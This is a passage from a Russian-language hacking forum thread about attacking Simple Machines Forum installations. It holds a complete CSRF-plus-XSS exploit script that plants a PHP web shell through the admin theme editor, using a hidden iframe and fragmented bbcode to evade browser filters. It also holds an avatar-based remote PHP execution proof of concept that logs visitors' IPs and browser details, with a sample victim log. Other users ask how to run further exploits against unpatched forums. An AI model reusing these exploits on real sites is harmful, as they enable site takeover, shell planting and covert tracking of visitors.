    	$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
     
    	$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
    	require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
     
    	if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
    }
    Он деобфусцировал сей кусок кода и получил вот это:
    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml"><head>
    	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    	<title>My name is Earl</title>
    </head>
    <body>
    	<h1>Watch out!  He's a killer!</h1>
    	<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
    </body>
    </html>
    Как по мне - очередная пасхалка, но все равно забавно.
     
  17. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS

    Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS.

    Описание: загружает шелл по аналогичному принципу; способ требует авторизации в панеле администратора и выполнения браузером администратора представленного скрипта в контексте ЛЮБОГО домена.

    Настройки:

    1) код шелла (это дело вкусовое, в скрипте стоит тестовый вариант);
    2) ссылка на создание новой темы в целевом форуме;

    Пояснения:

    Первым звеном служит CSRF-уязвимость, заключающаяся в возможности подмены запроса на предпросмотр сообщения. Защита от публикации такого сообщения в форуме существует, а от предпросмотра нет. Эксплойт подменяет запрос админа на предпросмотр вновь создаваемой темы.

    Вторым звеном является декларированная возможность выполнения произвольного скрипта в контексте форума с помощью bb-тега [*html], доступного только администратору. Эксплойт отправляет вместе с запросом код подгрузки шелла, который выполнится в скрытом ифрейме (т.е. совершенно незаметно от админа).

    Для обхода защиты от такого рода атак, реализованной, например, в NoScript`е, эксплойт отправляет фрагментированный код. То есть запрос с другого домена, содержащий

    [*html]<img src=. onerror='eval(String.fromCharCode(bugoga))'>[*/html]

    , будет отфильтрован, а запрос

    [*html]<i[*/html][*html]mg src=. onerro[*/html][*html]r='eval(String.fromCharCode(bugoga[*/html][*html]))'>[*/html]

    отфильтрован не будет.

    Остальную информацию дублировать излишне, смотрите её в вышеприведенном посте.

    Эксплойт:
    Code:
    /*/ SMF 1.1 - 1.1.11 shell inj. via CSRF + XSS
    /// Example: <html><body><script src=smf_shell_inj.js></script></body></html>
    ///
    /// LeverOne 27.12.2009
    /*/
    
    
    //------------------------- start config ---------------------->
    
    php_code      = window.php_code      || 'if($_GET[lo]) echo($_GET[lo]);';
    new_topic_url = window.new_topic_url || 'http://vulnsite.xz/smfforum/index.php?action=post;board=1.0';
    
    
    //------------------------- end config ------------------------>
    
    index_code = escape('<?php\n\n// Try to handle it with the upper level index.php.  (it should know what to do.)\n ' + 
    
                        php_code  +
    
                       '\n if (file_exists(dirname(dirname(__FILE__)) . \'/index.php\'))\n' +
                       'include (dirname(dirname(__FILE__)) .\'/index.php\');\n else\n   exit;\n\n?>');
    
    shell_inj = "function get_sesc(url) {" +
                "  requester('GET', url, null," +
                "    function() {" +
                "      if (r.readyState == 4) {" +
                "          sesc = r.responseText.match(/sesc=([a-z0-9]{32})/)[1] || null;" +
                "          if (sesc != null) edit_index(sesc);" +
                "      }" +
                "    }" +
                "  );" +
                "}" +
    
                "function edit_index(sesc) {" +
                "  postdata =  'entire_file=" + index_code + "&submit=1&filename=index.php&sc=' + sesc;" +
                "  requester('POST', './index.php?action=theme;th=1;sa=edit', postdata, null);" +
                "}" +
    
                "function requester(method, url, postdata, func) { " +
                "  try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}" +
                "  r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));" +
                "  if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');" +
                "      r.onreadystatechange = func;" +
                "      r.send(postdata);" +
                "}" +
    
                "get_sesc(location.href);";
    
    function toCharCode(string) {
      char_array = [];
      for (n = 0; n < string.length; n++) char_array.push(string.charCodeAt(n));
      return char_array.toString();
    }
    
    shell_inj = "[COLOR=White][[/COLOR]html]<i[COLOR=White][[/COLOR]/html][COLOR=White][[/COLOR]html]mg src=. onerro[COLOR=White][[/COLOR]/html][COLOR=White][[/COLOR]html]r='eval(String.fromCharCode(" + toCharCode(shell_inj) + "[COLOR=White][[/COLOR]/html][COLOR=White][[/COLOR]html]))'>[COLOR=White][[/COLOR]/html]";
    
    document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
                               '<form id=myform action=' + new_topic_url + ' method=post target=myfr>' +
                               '<input type=hidden name=subject value=1>' +
                               '<input type=hidden name=message value="' +  shell_inj  + '">' +
                               '<input type=hidden name=preview value=1><\/form>';
    document.getElementById('myform').submit();
    
     
    4 people like this.
  18. Toshik

    Toshik New Member

    Joined:
    21 Jun 2004
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Simple Machines Forum <= 1.1.8 (avatar) Remote PHP File Execute PoC

    - Step by Step:

    1) go to your profile in section of avatar.
    2) put the url of the malicious php file as avatar (ex: http://target/poc.php).
    3) create a new topic.

    - [victims] All the people that visit the topic will be infect.


    malicious file example [steal info]: (poc.php)

    <?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $so= $_SERVER['HTTP_USER_AGENT'];
    $lan= $_SERVER['HTTP_ACCEPT_LANGUAGE'];
    $url= $_SERVER['PHP_SELF'];
    $path= $_SERVER['DOCUMENT_ROOT'];
    $archivo = 'hacks.txt';
    $fp = fopen($archivo, "a");
    $string = "
    Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC


    $path$url

    VICTIM: $ip

    info: $so
    language: $lan


    ";
    $write = fputs($fp, $string);
    fclose($fp);
    ?>
    ------END-----

    cat hacks.txt

    Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC
    by Jose Luis Gongora Fernandez (aka) JosS

    /***/***/vhosts/hack0wn.com/httpdocs/poc.php

    VICTIM: 88.25.92.***

    info: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.19) Gecko/20081202 Iceweasel/2.0.0.19 (Debian-2.0.0.19-0etch1)
    language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3


    // tested on smf 1.1.8
     
  19. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    Нашел в инете 2 варианта эксплоита под SMF 1.1.11 . Хотелось бы обсудить их.

    1.Источник - http://www.thoran.eu/exploit/key/e2f0m/name/Simple_Machines_Forums_SMF_1.1.11.Multiple_Search_DDOS

    2. Источник - http://www.allinfosec.com/2010/06/25/smf-1-1-11-change-password-admin-vulnerabilities/

    Хотелось бы узнать такое:
    По первому сплоиту - что с ним надо делать? Понимаю, что надо запустить через актив перл, но в самом коде надо что то менять или просто так запускать? Язык перл не знаю.

    По второму - окно смены пароля открывается действительно, но когда ввожу новый пароль, пишет "такого пользователя не существует", хотя id=1 точно на форуме есть.

    upd. сюда код скопировать почему то не могу - тег CODE переводит все в 1 длинную строку.
     
  20. foozzi

    foozzi Member

    Joined:
    13 Apr 2010
    Messages:
    195
    Likes Received:
    13
    Reputations:
    5

    1 это походу отправка большого количества запросов, форум их не может фильрировать и падает.... я могу ошибатся

    по 2 скажу что этот баг уже профиксили, хотя в сети полно не обновлянных smf